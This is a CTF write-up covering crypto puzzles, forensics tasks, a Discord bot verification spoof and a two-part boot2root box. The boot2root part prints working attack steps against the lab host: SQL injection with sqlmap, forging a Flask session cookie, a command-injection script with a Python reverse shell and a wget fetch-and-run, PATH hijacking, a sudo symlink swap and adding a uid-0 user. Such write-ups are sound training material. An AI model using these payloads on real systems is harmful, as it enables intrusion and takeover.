I unfortunately didn't prioritize writing notes during the qualifiers, so the solutions are rather sparse in terms of details.
Crypto
AES Decryption
Visit the page aes-ddc.hkn
, where theres a key and a encrypted message:
- key:
Kn0w1ngAESisP0w!
- msg:
4y+S0gs40gNFI5ejtUh+szLf+GtzSu1IM/Lr1+2ZEWo=
(is base64 encoded)
We are given the key, so just
from Crypto.Cipher import AES
import base64
key = b'Kn0w1ngAESisP0w!'
ct = '4y+S0gs40gNFI5ejtUh+szLf+GtzSu1IM/Lr1+2ZEWo='
ct = base64.b64decode(bytes(ct,'utf-8'))
cipher = AES.new(key, AES.MODE_ECB)
plaintext = cipher.decrypt(ct)
try:
print("The message is authentic")
print("plaintext: ", plaintext)
except ValueError:
print("Key incorrect or message corrupted")
The message is authentic
plaintext: b'DDC{S3cr3t_C0d3}\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
Binary Encodings 1
We are given a output.txt
, looking like this:
p_0 = 9768317032740503603
f_0 = 9575104083177283048
p_1 = 18156330420060477793
f_1 = 654829914826964428
p_2 = 10476762262519913959
f_2 = 8717987845758977868
p_3 = 9347882639404620023
.........................
We can use the chinese remainer theorem to decrypt the ciphertext
I like using regex a bit too much, so I went a bit overboard, but heres the solve script
import re
from sympy.ntheory.modular import solve_congruence
def binarify(m):
in1 = int.from_bytes(m, "big")
res = int.from_bytes(bin(in1).encode(), "big")
return res
def debinarify(n):
bin_str = int.to_bytes(n, (n.bit_length() + 7) // 8, "big").decode()
original_int = int(bin_str, 2)
return original_int.to_bytes((original_int.bit_length() + 7) // 8, "big")
data = {}
p_pat = r"p_(\d+) = (\d+)"
f_pat = r"f_(\d+) = (\d+)"
with open("output.txt", "r") as f:
for l in f.readlines():
p_match = re.match(p_pat, l)
if p_match:
p = p_match.group(1)
p_val = int(p_match.group(2))
index = int(p)
if index not in data:
data[index] = [None, None]
data[index][0] = p_val
f_match = re.match(f_pat, l)
if f_match:
f = f_match.group(1)
f_val = f_match.group(2)
index = int(f)
if index not in data:
data[index] = [None, None]
data[index][1] = int(f_val)
data = {k: tuple(v) for k, v in data.items()}
congs = []
for key in data.keys():
p = data[key][0]
f = data[key][1]
congs.append((f,p))
res = solve_congruence(*congs)
flag = debinarify(res[0]).decode()
print(f"Decrypted message: {flag}")
$ python chal.py
Decrypted message: DDC{crt_to_the_m0100010110001n}
Long Live Caesar
This is a classic substitution cipher challenge, but with multiplication and the danish alphabet as the charset.
Looking at the ciphertext:
uux fwnqeefæzr bq eayr xareah
I can guess that uux
=ddc
from the comment:
# ddc example flag
# to
# ddc{example_flag}
For this case, we just have to encrypt ddc
with every possible key (which only has length 1) until we get uux
. Then we can decrypt it by implementing a decrypt function, that instead of using multiplication uses modulo inverse
My solve script is:
import string
import random
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'
# Rotate each character by the index of the key character
def mult(a, b):
# Ignore spaces
if a in string.whitespace:
return a
return alphabet[(alphabet.index(a) * alphabet.index(b)) % len(alphabet)]
def div(a, b):
# mod inv
if a in string.whitespace:
return a
a_idx = alphabet.index(a)
b_idx = alphabet.index(b)
k_inv = pow(b_idx, -1, len(alphabet))
index = a_idx * k_inv % len(alphabet)
return alphabet[index]
def caesar_encrypt(key, text):
ciphertext = ""
for i in range(len(text)):
ciphertext += mult(text[i], key)
return ciphertext
def caesar_decrypt(key, text):
plaintext = ""
for i in range(len(text)):
plaintext += div(text[i], key)
return plaintext
key = 'a'
while (key == 'a'):
key = random.choice(alphabet)
def main():
# Danish text, flag is in text
# with open('flag.txt', 'rb') as f:
# text = f.read().decode("utf-8").strip()
#
# ciphertext = caesar_encrypt(key, text)
#
# with open('encryption.txt', 'wb') as f:
# f.write(ciphertext.encode("utf-8"))
# Once you have decrypted the ciphertext, remember to add flag formatting
# For example:
# ddc example flag
# to
# ddc{example_flag}
with open('encryption.txt', 'rb') as f:
text = f.read().decode("utf-8").strip()
for a in alphabet:
res = caesar_encrypt(a, "ddc")
if res == "uux":
print(f"Found {res=} with key {a}")
plaintext = caesar_decrypt('æ', text)[4:].replace(' ', '_')
print("DDC{" + f"{plaintext}" + "}")
if __name__ == '__main__':
main()
Found res='uux' with key æ
DDC{impossible_to_save_caesar}
Vigeneres dictionary
We have the ciphertext:
vwt yblouyirkqbmo wh ckbtvmw
Which have been encrypted using Vigeneres, and we are also given a wordlist. Thus my approach is just running through every one of them and finding some way to filter all possible ciphertexts down.
What we know:
- Due to the flag format we know that the first word is
ddc
, i.e.ddc
=vwt
. - We know that the key is
9
long
With this we can narrow down the candidates to 6 keys.
I just took the handout code and added my brute-"filtering", as you can see further below. However
Amount of keys with length 9: 974
All candidates: 974
plaintext: ddc ordbogsangreb er farlige key: strækning
plaintext: ddc sæølqgsapkæål er heægsie key: strygende
plaintext: ddc xæølqgsanpæål er fjægsie key: stræbende
plaintext: ddc løkodgsakdølo er cæøsvye key: strandbar
plaintext: ddc næølqgsalfæål er dåægsie key: strålende
plaintext: ddc lyekrgsagdyfk er øæymrje key: strenghed
After filtering: 6
Thus the flag is: DDC{ordbogsangreb_er_farlige}
, as it is the only one with real words
Solve script:
import string
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'
# makes input lowercase, and removes all characters other than alphabet and spaces.
def clean_input(text):
text = text.lower()
tmp = [c if c in (alphabet + string.whitespace) else '' for c in text]
# Remove newlines
tmp2 = [c if c in alphabet else " " for c in tmp]
return ''.join(tmp2)
def add(a, b):
# ignore spaces and newlines
if a in string.whitespace:
return a
# rotate character by the key character's index in the alphabet
return alphabet[(alphabet.index(a) + alphabet.index(b)) % len(alphabet)]
def sub(a, b):
# ignore spaces and newlines
if a in string.whitespace:
return a
# rotate character by the key character's index in the alphabet
return alphabet[(alphabet.index(a) - alphabet.index(b)) % len(alphabet)]
def vigenere_encrypt(key, text):
ciphertext = ""
for i in range(len(text)):
ciphertext += add(text[i], key[i % len(key)])
return ciphertext
def vigenere_decrypt(key, text):
plaintext = ""
for i in range(len(text)):
try:
plaintext += sub(text[i], key[i % len(key)])
except ValueError:
pass
return plaintext
# Read the key from file
# with open("key.txt", "rb") as f:
# key = f.read().decode("utf-8").strip()
# assert len(key) == 9
def main():
# Danish text, flag is in text
# with open('danish_text.txt', 'rb') as f:
# text = f.read().decode("utf-8")
#
# text = clean_input(text)
# ciphertext = vigenere_encrypt(key, text)
#
# with open('encryption.txt', 'wb') as f:
# f.write(ciphertext.encode("utf-8"))
# Once you have decrypted the ciphertext, remember to add flag formatting
# For example:
# ddc example flag
# to
# ddc{example_flag}
ninecount = 0
cand_ngl = []
with open("danish_dict.txt", "rb") as f:
for l in f:
l = l.decode().strip()
if len(l) != 9:
continue
ninecount += 1
cand_ngl.append(l)
print("Amount of keys with length 9:", ninecount)
with open("encryption.txt", "rb") as f:
ct = f.read().decode('utf-8')
cand_res = []
for k in cand_ngl:
res = vigenere_decrypt(k, ct)
cand_res.append((k,res))
all = len(cand_res)
filter_count = 0
print("All candidates:", all)
# print("Trying ddc:")
for k,r in cand_res:
if r[:3] == "ddc":
print("plaintext: ", r, "key: " + k)
filter_count += 1
# Extra code to filter for "er", but is not necc. when you know key len is 9
# if r[18:20] == "er":
# filter_count += 1
# print(r, "key: " + k)
print(filter_count)
if __name__ == '__main__':
main()
Boot2Root
Gauntlet 1
We have a flask server on port 5000.
There is a login page, and using this request we can do SQL injection:
POST /login HTTP/1.1
Host: the-gauntlet.hkn:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://the-gauntlet.hkn:5000
Connection: close
Referer: http://the-gauntlet.hkn:5000/login
Upgrade-Insecure-Requests: 1
username=*&password=*
Like:
└─$ sqlmap -r login.req --batch -vv --proxy http://127.0.0.1:8080 --dbms=sqlite --dump-all
We get the output:
...
5:08:51] [DEBUG] analyzing table dump for possible password hashes
Database: <current>
Table: users
[1 entry]
+----+------------------------+----------+
| id | password | username |
+----+------------------------+----------+
| 1 | NotThePath-KeepDigging | Bob |
+----+------------------------+----------+
Kinda misleading, but you can login with: Bob:NotThePath-KeepDigging
(Or I might be wrong)
When logged in, we have a jwt token. Let's see what the claims are:
on jwt.io (change variant cookie to "classic" to use the old page):
{
"user": {
"is_admin": false,
"username": "Bob"
},
"alg": "HS256"
}
change it to:
{
"user": {
"is_admin": true,
"username": "admin"
},
}
$ flask-unsign -u --cookie eyJ1c2VyIjp7ImlzX2FkbWluIjpmYWxzZSwidXNlcm5hbWUiOiJCb2IifX0.Z8OX0Q.g-zBzl2vTGzBVp398uRsY8TYe1g --wordlist rockyou.txt --no-literal-eval
[*] Session decodes to: {'user': {'is_admin': False, 'username': 'Bob'}}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 11264 attempts
b'itsasecret'
Using the secret we can forge a jwt for the admin:
using flask-unsign:
flask-unsign --sign --cookie "{'user': {'is_admin': True, 'username': 'admin'}}" --secret 'itsasecret' > admin.token
On the page, as admin , there is a ping
functionality, where we can do command injection
I wrote a script to identify the banned characters (I totally zoned out and overdid it):
import requests
import re
import urllib
import os
supp_pref = "ping -c 1 "
url = "http://the-gauntlet.hkn:5000/admin"
jwt_admin_token = "eyJ1c2VyIjp7ImlzX2FkbWluIjp0cnVlLCJ1c2VybmFtZSI6ImFkbWluIn19.Z8O4qQ.zA7yVe1Np-twU4SjUKdK6MptNW4"
ip = "10.0.240.253"
port = 9001
illegal_chars_file = "illegal_chars.txt"
rules = {
#";": "$(echo -e \"\x3b\")",
" ": "${IFS}",
}
payloads = [
f"python3 -c \'import os,pty,socket;s=socket.socket();s.connect((\"{ip}\",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")\'",
]
def bypass(text):
for bad, sub in rules.items():
text = text.replace(bad,sub)
return text
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://the-gauntlet.hkn:5000",
"Connection": "close",
"Referer": "http://the-gauntlet.hkn:5000/admin",
"Cookie": f"session={jwt_admin_token}",
"Upgrade-Insecure-Requests": "1"
}
def sendpayload(payload):
payload = bypass(payload)
print(f"bypassed payload:\n{supp_pref}{payload}")
print()
data = f"command={payload}"
encoded_data = urllib.parse.urlencode({"command": payload})
pattern = r"<pre>(.*?)</pre>"
print(f"data sent:\n{encoded_data}")
print()
try:
response = requests.post(url, headers=headers, data=encoded_data)
print("Status Code:", response.status_code)
print("Response Headers:", response.headers)
print("Response Body:")
print("-----------------------------\n")
match = re.search(pattern, response.text, re.DOTALL)
#print(response.text)
if match:
pre_content = match.group(1)#.strip() # remove any extra spaces/newlines
print(pre_content)
else:
if "Illegal characters detected!" in response.text:
print("*----- illegal char!! detected -----*")
print(f"raw payload:\n{supp_pref}{raw_p}")
except Exception as e:
print("An error occurred:", e)
def test_character(char):
"""
Test a single character by sending it in a payload and checking for an 'Illegal characters detected!' response.
"""
payload = f"127.0.0.1{char}whoami"
encoded_data = urllib.parse.urlencode({"command": payload})
try:
response = requests.post(url, headers=headers, data=encoded_data)
if "Illegal characters detected!" in response.text:
return True
except Exception as e:
print(f"Error testing {char}: {e}")
return False
# get illegal chars
# Define potential illegal characters to test
test_chars = list("!@#$%^&*(){}[]<>|;:'\"\\`")
illegal_chars = []
if os.path.exists(illegal_chars_file) and os.path.getsize(illegal_chars_file) > 0:
with open(illegal_chars_file, "r") as f:
illegal_chars_s= f.read().strip()
print(f"Loaded illegal characters from file: {illegal_chars_s}")
else:
# Test each character
for char in test_chars:
print(f"Testing character: {char}")
if test_character(char):
illegal_chars.append(char)
with open(illegal_chars_file, "w") as f:
f.write("".join(illegal_chars))
exp_file = "exp.py"
# The payload data is URL-encoded as given in the request
raw_p = f"$(wget http://{ip}:80/exp.py)"
sendpayload(raw_p)
raw_p = "$(python3 exp.py)"
sendpayload(raw_p)
print(f"raw payload:\n{supp_pref}{raw_p}")
print()
The illegal chars was: "&|;`"
and the reverse shell was:
import os,pty,socket;s=socket.socket();s.connect(("10.0.240.253",9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")
Having a shell, I found the file user.flag
in the home directory of the user
user1@0ec0352f2be2:~$ ./user.flag
Press enter within 3 seconds:
Secret flag: DDC{n0th1ng_l1k3_4_b1t_0f_RCE}`
Gauntlet 2
In the first part, we used command injection to get RCE, and get a shell as user1
For this second part we have to traverse: user1
-> user2
-> user3
-> root
user2
As user1
we see the file testBin
, which has the sticky bit for user2:
user1@0ec0352f2be2:~$ ls -l /home/user1/testBin
-rwsrwsr-x 1 user2 user2 776520 Jan 25 20:56 /home/user1/testBin
Decompiling the file:
undefined8 main(int param_1,undefined8 *param_2)
{
int iVar1;
char *local_28;
undefined8 local_20;
undefined8 local_18;
undefined *local_10;
if (param_1 == 2) {
iVar1 = setuid(0x3ea);
if (iVar1 == 0) {
iVar1 = setgid(0x3ea);
if (iVar1 == 0) {
local_10 = &DAT_0047a03e;
local_28 = "xxd";
local_20 = param_2[1];
local_18 = 0;
execvp("xxd",&local_28);
perror("execvp failed");
}
else {
perror("setgid failed");
}
}
else {
perror("setuid failed");
}
}
else {
fprintf((FILE *)stderr,"Usage: %s <file>\n",*param_2);
}
return 1;
}
Notice that as user2
we execute xxd
. This is vulnerable to path hijacking, and we can just prepend something to the PATH
and have that show up before the actual xxd
binary.
user1@0ec0352f2be2:~$ mkdir -p /tmp/exploit && chmod 777 /tmp/exploit
user1@0ec0352f2be2:~$ echo -e '#include <unistd.h>\nint main() {\nsetuid(1002);\nsetgid(1002);\nexecl("/bin/bash", "bash", "-p", NULL);\n}' > /tmp/exploit/xxd.c
user1@0ec0352f2be2:~$ gcc -o /tmp/exploit/xxd /tmp/exploit/xxd.c
user1@0ec0352f2be2:~$ chmod +x /tmp/exploit/xxd
user1@0ec0352f2be2:~$ export PATH="/tmp/exploit:$PATH"
user1@0ec0352f2be2:~$ /home/user1/testBin test
bash-5.2$ id
uid=1001(user1) gid=1001(user1) euid=1002(user2) egid=1002(user2) groups=1002(user2),100(users),1001(user1)
And we are effectively user2
(as the euid=1002(user2)
).
user3
user2@0ec0352f2be2:~$ sudo -l
Matching Defaults entries for user2 on 0ec0352f2be2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User user2 may run the following commands on 0ec0352f2be2:
(user3) NOPASSWD: /home/user2/runMe.sh`
We dont have write permissions to this file but we can delete it and put another file in its place!
user2@0ec0352f2be2:~$ echo '#!/bin/bash' > /tmp/exploit.sh
user2@0ec0352f2be2:~$ echo '/bin/bash -p' >> /tmp/exploit.sh
user2@0ec0352f2be2:~$ rm runMe.sh
rm: remove write-protected regular file 'runMe.sh'? y
user2@0ec0352f2be2:~$ ln -s /tmp/exploit.sh /home/user2/runMe.sh
user2@0ec0352f2be2:$ ls -la runMe.sh
total 36
drwxr-xr-x 1 user2 user2 4096 Mar 4 19:28 .
drwxr-xr-x 1 root root 4096 Jan 25 20:57 ..
-rw------- 1 user2 user2 906 Mar 4 19:19 .bash_history
-rw-r--r-- 1 user2 user2 220 Jan 25 20:57 .bash_logout
-rw-r--r-- 1 user2 user2 3771 Jan 25 20:57 .bashrc
drwx------ 2 user2 user2 4096 Mar 4 19:19 .cache
-rw-r--r-- 1 user2 user2 807 Jan 25 20:57 .profile
drwxrwxr-x 2 user2 user2 4096 Mar 4 19:18 .ssh
lrwxrwxrwx 1 user2 user2 15 Mar 4 19:28 runMe.sh -> /tmp/exploit.sh
user2@0ec0352f2be2:~$ chmod +x runMe.sh
user2@0ec0352f2be2:~$ sudo -u user3 /home/user2/runMe.sh
user3@0ec0352f2be2:/home/user2$ ls
runMe.sh
root
The final step is not really a exploit. Its just adding a new "root" user.
As you can see we can execute the useradd
binary as root:
user3@0ec0352f2be2:~$ sudo -l
Matching Defaults entries for user3 on 0ec0352f2be2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user3 may run the following commands on 0ec0352f2be2:
(root) NOPASSWD: /usr/sbin/useradd *
We can add ad new user with the uid
of 0 like this:
user3@0ec0352f2be2:~$ sudo -u root /usr/sbin/useradd smavles -p $(openssl passwd -1 kajmand) --uid 0 -o -s /bin/bash
useradd warning: smavles's uid 0 outside of the UID_MIN 1000 and UID_MAX 60000 range.
user3@0ec0352f2be2:~$ cat /etc/passwd | grep smavles
smavles:x:0:1007::/home/smavles:/bin/bash
user3@0ec0352f2be2:~$ su smavles
Password:
root@0ec0352f2be2:/home/user3# cd /root
root@0ec0352f2be2:/root# ls
entrypoint.sh root.flag
root@0ec0352f2be2:/root# ./root.flag
Press enter within 3 seconds:
Secret flag: DDC{1_h0p3_y0u_enj0y3d_my_f1r27_B2R}
Misc
DDC admin bot
TLDR
- User kaj sends
!verifyme
- Bot sends message in
verification_channel
:f"{user.mention} has requested verification. Moderators with {mod_role.mention}, please verify."
- User with moderator role reacts with ✅ on message
- Do Exploit
- send spoof message in own discord server
- react to it while having the the role
moderator
- User kaj is assigned role
member
- Read flag in new channel on the real server
Details:
In this challenge we have to exploit a Discord bot. There is an instance of the bot running on the challenge Discord server.
When a user types !verifyme
then the bot sends the message:
msg = f"{user.mention} has requested verification. Moderators with {mod_role.mention}, please verify."
to the "verification channel".
Our goal is to have a user, with the mod_role
, react with to the message sent by the bot, but we do not have access to this channel nor do we have the mod_role
However, the bot has a vulnerability!
The important part is the check
function in:
try:
# Wait for a moderator to react with the correct emoji
reaction, moderator = await bot.wait_for('reaction_add', check=check)
# Assign the "member" role to the user after verification
member_role = discord.utils.get(guild.roles, name=MEMBER_ROLE_NAME)
if member_role is None:
await ctx.send("Member role not found in the server.")
else:
await user.add_roles(member_role)
await verification_channel.send(
f"{user.mention} has been verified by {moderator.mention} and given the {member_role.name} role."
)
<...>
Notice the conditions:
def check(reaction, reactor):
return (
str(reaction.emoji) == "✅"
and reaction.message.content == msg
and reaction.message.channel.name == VERIFICATION_CHANNEL_NAME
and any([r.name == MODERATOR_ROLE_NAME for r in reactor.roles])
)
Since the constants just are strings, e.g:
MODERATOR_ROLE_NAME = "moderator"
MEMBER_ROLE_NAME = "member"
VERIFICATION_CHANNEL_NAME = "verification"
We can spoof the message by adding the bot to our own discord server (denoted fake server
)
The setup is:
- Create a second Discord server
fake server
- Invite the same "instance" of the Discord bot to the
fake server
using this method: https://ctftime.org/writeup/33674
(Additionally I spun up the docker image to easier debug the values of the varaibles)
Start by sending a real !verifyme
in the real discord server.
Then to spoof the reaction you need some IDs (enable developer mode in Discord)
- Your User ID. (right-click yourself or something)
- Find user with the
moderator
role and get the Role ID (right-click)1293636473291014184
To construct the message:
Send !verifyme
in the fake server to get:
<@USER_ID> has requested verification. Moderators with <@&FAKE_MODERATOR_ROLE_ID>, please verify.
Then replace role id with id from real serve and send this message in fake server:
<@SMAVL_ID> has requested verification. Moderators with <@&1293636473291014184>, please verify.
then react to the message with ✅, and you should get the member
role in the challenge server (in the fake server make and give ourself the role of moderator
)
Masahiro Hara
We are given this almost minecraft-steve looking picture, that is some part of a QR-code.
I tried different things: solvers, python pillow (and others), but I couldn't easily get it to work. I ended up resorting to installing MOBZystems - See Through Windows overlaying the image over a site where could manually input the dots.
This was how it looked
And exported it to to be this
Scan it (I promise it is not a rickroll)
pwn
gotowin
wip
uwu1
wip
Web
Complete Styling Sadness
WIP
Cross Site Job
WIP
Leaky Store
WIP
Reversing
OutXORING
WIP
PassProtector
WIP
Forensics
Shutter trace
$ grep -ri "" Clue_Folder/
Clue_Folder/Not_this_one_8.txt:Sample content for Clue_Folder file 8
Clue_Folder/Not_this_one_8.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_8.txt:Additional notes or placeholders for data.
Clue_Folder/Not_this_one_5.txt:Sample content for Clue_Folder file 5
Clue_Folder/Not_this_one_5.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_5.txt:Additional notes or placeholders for data.
Clue_Folder/Not_this_one_6.txt:Sample content for Clue_Folder file 6
Clue_Folder/Not_this_one_6.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_6.txt:Additional notes or placeholders for data.
Clue_Folder/Not_this_one_2.txt:Sample content for Clue_Folder file 2
Clue_Folder/Not_this_one_2.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_2.txt:Additional notes or placeholders for data.
Clue_Folder/Not_this_one_7.txt:Sample content for Clue_Folder file 7
Clue_Folder/Not_this_one_7.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_7.txt:Additional notes or placeholders for data.
Clue_Folder/Not_this_one_4.txt:Sample content for Clue_Folder file 4
Clue_Folder/Not_this_one_4.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_4.txt:Additional notes or placeholders for data.
Clue_Folder/Not_this_one_1.txt:Sample content for Clue_Folder file 1
Clue_Folder/Not_this_one_1.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_1.txt:Additional notes or placeholders for data.
Clue_Folder/Not_this_one_3.txt:Sample content for Clue_Folder file 3
Clue_Folder/Not_this_one_3.txt:Details of the case, incident, or evidence.
Clue_Folder/Not_this_one_3.txt:Additional notes or placeholders for data.
Clue_Folder/.clue.txt:VGhlIHBob3RvIGlzIGhpZGRlbiBpbiB0aGUgRXZpZGVuY2UgRm9sZGVyIGFzIGEganBnIGZpbGU=
$ grep -ri "" Clue_Folder/ | tail -n -1 | sed 's/.*://g' | base64 -d
The photo is hidden in the Evidence Folder as a jpg file
$ find -name *.jpg
./Evidence_Folder/super-market-8494759_1280.jpg
$ strings $(find -name *.jpg) | grep DDC
<rdf:li>DDC{D4n13lss3n}</rdf:li>
Ping Sweep
I have to find something that is different about some subset of packets. By sheer willpower I found that a small number of packets had something called ECN. Using tshark i found 4 different parts of the flag.
PART_1:DDC{hv:PARTEND
PART_2:ad_fae:PARTEND
PART_3:n_er_E:PARTEND
PART_4:CN}:PARTEND
DDC{hvad_faen_er_ECN}
The Professors Lost Note
I must find hint.txt
and read the contents
$ find . | grep "hint.txt"
./Professor_Notes/.hint.txt
$ cat $(find . | grep "hint.txt"); echo
DDC{3x4m4n5w3r5}
Efterforskningen
We are given an img file
$ strings Efterforskningen.img | grep DDC | tail -n -1
echo "DDC{just_go_away}" > secret.txt